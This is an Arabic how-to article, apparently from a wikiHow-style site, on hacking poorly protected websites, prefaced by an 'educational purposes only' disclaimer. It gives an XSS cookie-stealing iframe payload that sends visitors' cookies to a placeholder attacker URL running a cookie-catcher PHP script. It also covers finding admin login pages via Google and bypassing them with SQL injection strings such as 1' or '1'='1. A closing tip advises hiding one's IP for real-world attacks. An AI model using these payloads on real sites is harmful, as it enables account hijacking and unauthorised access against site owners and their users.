تنزيل المقال تنزيل المقال

ملاحظة : هذه 'المقالة' هي لأغراض تعليمية فقط أو لمساعدة الأشخاص في بدء تعلم الاختراق الأبيض (أمن المعلومات) أو حتى لأصحاب المواقع الراغبين في التعرف على أساليب المخترقين وحماية مواقعهم وتحسينها ضدهم. ستزودك هذه المقالة التعليمية بالخطوات اللازمة للوصول إلى العديد من المواقع منخفضة الحماية.

طريقة 1
طريقة 1 من 3:

باستخدام الثغرة البرمجية Cross-site scripting (XSS)

تنزيل المقال
  1. مواقع تبادل الآراء بالمنشورات هي أفضل مثال. تذكر أنه لو كان هذا الموقع محميّ جيّدًا، فلن تعمل هذه الطريقة.
  2. ستحتاج لكتابة بعض الأكواد الخاصة (الشيفرات البرمجية) في منشورك هذا، مما سيسمح لك بالحصول على معلومات كل شخص يضغط عليه.
    • يجب أن تختبر فيما إذا كان الموقع يقوم بتصفية المنشورات المحتوية على أكواد برمجية. اكتب
      <script>window.alert(“test”)</script>
      في حال ظهرت لك رسالة تحذيرية عندما تضغط على نشر، فالموقع يمكن اختراقه بهذه الطريقة.
  3. الهدف من إجراء هذا الهجوم هو الحصول على الكوكيز الخاصة بالمستخدم (أي سجل نشاطاته على الانترنت) مما يخولك بالوصول إلى حسابه الخاص بالموقع الذي يعاني من ثغرات تسجيل الدخول. ستحتاج إلى برنامج الحصول على الكوكيز، الذي سيقوم بجلب الكوكيز الخاصة بالضحية ثم تغيير وجهتها لتصل إليك. قم برفع البرنامج إلى موقع لديك صلاحيات بالدخول إليه ويدعم php.
  4. اكتب الكود المناسب في المنشور والذي سيقوم بدوره بجمع الكوكيز وإرسالهم إلى موقعك. ستودّ أن تضيف بعضًا من النّص بعد الكود من أجل أن تبعد الغموض عنك وتحفظ منشورك من أن يتم حذفه.
    • مثال على الكود
      <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe>
  5. بعد ذلك، يمكنك استخدام معلومات الكوكيز، والتي يجب أن يتم حفظها في موقعك، لأي غرض تريده.
طريقة 2
طريقة 2 من 3:

تنفيذ الهجوم اعتمادًا على ثغرات الحقن

تنزيل المقال
  1. يجب أن تجد موقع يمكنك اختراقه اعتمادًا على الثغرات الموجودة فيه، بسبب وجود ميزة تسجيل الدخول كمدير يجعل الوصول لصلاحياته أمرًا سهلًا. ابحث في غوغل عن العبارة التالية admin login.asp.
  2. اكتب admin في حقل اسم المستخدم، أما كلمة المرور فاجعلها مكوّنة من رقم واحد وكرره داخل سلسلة محرفية اختياريّة. المثال الشائع على ذلك هو 1’ أو ’1’='1.
  3. من الممكن أن يتطلب الأمر القليل من التجريب والخطأ.
  4. أخيرًا، يحب عليك أن تكون قادرًا على إيجاد السلسلة المحرفية التي تسمح لك بالدخول إلى الموقع بصلاحيات المدير، باعتبار أن الموقع يتمتع بثغرات من أجل اختراقه.
طريقة 3
طريقة 3 من 3:

أسّس للنجاح

تنزيل المقال
  1. في حال أردت أن تتعلم اختراق المواقع بالطريقة الصحيحة، يجب عليك عندها أن تفهم كيف تعمل أجهزة الكومبيوتر وغيرها من التقنيّات. تعلم استخدام لغات برمجة مثل SQL أو بايثون لتتمكن من الحصول على تحكم أفضل بالمواقع التي تستهدفها بالإضافة لمعرفة الثغرات بالأنظمة.
  2. ستحتاج أن تفهم جيّدًا HTML وJavaScript في حال رغبت في اختراق المواقع بشكل خاص. من الممكن أن يأخذ ذلك الكثير من وقتك لتتعلمه، إلا أنه يوجد الكثير من الطرق المجّانية لتتعلم على الإنترنت، لذا لديك الفرصة إذا كنت تريد حقًّا استغلالها.
  3. هؤلاء مخترقون يستخدمون معرفتهم من أجل الخير، كاشفين عن ثغرات الحماية وجاعلين الانترنت مكان أفضل لجميع الناس. في حال كنت تريد أن تتعلم الاختراق من أجل القيام بأهداف نبيلة أو من أجل حماية موقعك الخاص، يجب إذًا عليك أن تتواصل مع مواقع الأمن المعلوماتي الموجودة حاليًا على شبكة الانترنت من أجل الحصول على نصائح.
  4. إذا كنت تريد أن تتعلم كيفية الاختراق أو تريد فقط حماية نفسك، عليك القيام بالكثير من البحث. يوجد الكثير من الطرق التي يمكن أن تجعل المواقع عرضة للاختراق، وهذه القائمة بتغيير مستمر، لذا عليك أن تتعلم باستمرار.
  5. بما أن قائمة الاختراقات المحتملة هي في تغير مستمر، عليك أن تتأكد من أنك متابع لكل المستجدات أول بأوّل. لأنك محميّ من نوع معيّن من الهجمات هذا لا يعني أنك ستكون بأمان في المستقبل

أفكار مفيدة

  • اذهب إلى منتديات المخترقين لتحصل على العديد من النصائح المفيدة.

تحذيرات

  • لن تصبح مخترقًا فور الانتهاء من قراءة هذه المقالة. يجب عليك أن تكتشف مهاراتك وتتدرب ثم تتدرب ثم تتدرب.
  • إذا كنت تريد أن تجرب الاختراق في العالم الحقيقي، قم بإخفاء عنوان IP الخاص بك باستخدام برامج متوفرة على الانترنت.

المزيد حول هذا المقال

تم عرض هذه الصفحة ٤٩٬١٢٢ مرة.

هل ساعدك هذا المقال؟